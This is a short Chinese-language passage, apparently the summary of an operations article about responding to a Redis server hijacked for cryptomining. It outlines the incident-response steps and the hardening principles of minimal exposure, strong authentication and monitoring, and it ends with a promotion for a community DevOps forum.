Redis 被挖矿是初中级运维必然会遇到一次的事故。这件事的本质不是“Redis 有漏洞”,而是“Redis 的默认配置 + 弱运维习惯 + 缺监控告警”共同造成的。
本文按一次真实事件的时间线,把“看到告警 → 主机隔离 → 取证 → 进程清理 → crontab 清理 → 启动项清理 → SSH 密钥清理 → Redis 排查 → 持久化文件排查 → 横向扩散 → rootkit → 决策清理 / 重装 → 临时恢复 → 加固 → 监控告警 → 复盘”全部展开。
应急响应的核心是“有序、可控、可复盘”:
- 有序:知道下一步做什么,知道先做什么
- 可控:每一步都有止损、回滚、备份机制
- 可复盘:每一步都有截图、日志、命令输出
加固的核心是“最小暴露面 + 强认证 + 持续监控”:
- 最小暴露面:bind 内网、安全组、ACL
- 强认证:密码 + rename + ACL
- 持续监控:连接数、CPU、内存、出口流量、文件变更
希望读完本文,你能在下一次收到 Redis 告警的时候,心里不慌、手上有招。
在云栈社区的 运维/DevOps/SRE 板块 里,你还能找到更多关于监控体系搭建、自动化运维脚本的实战分享,帮你把“事后应急”变成“事前防御”。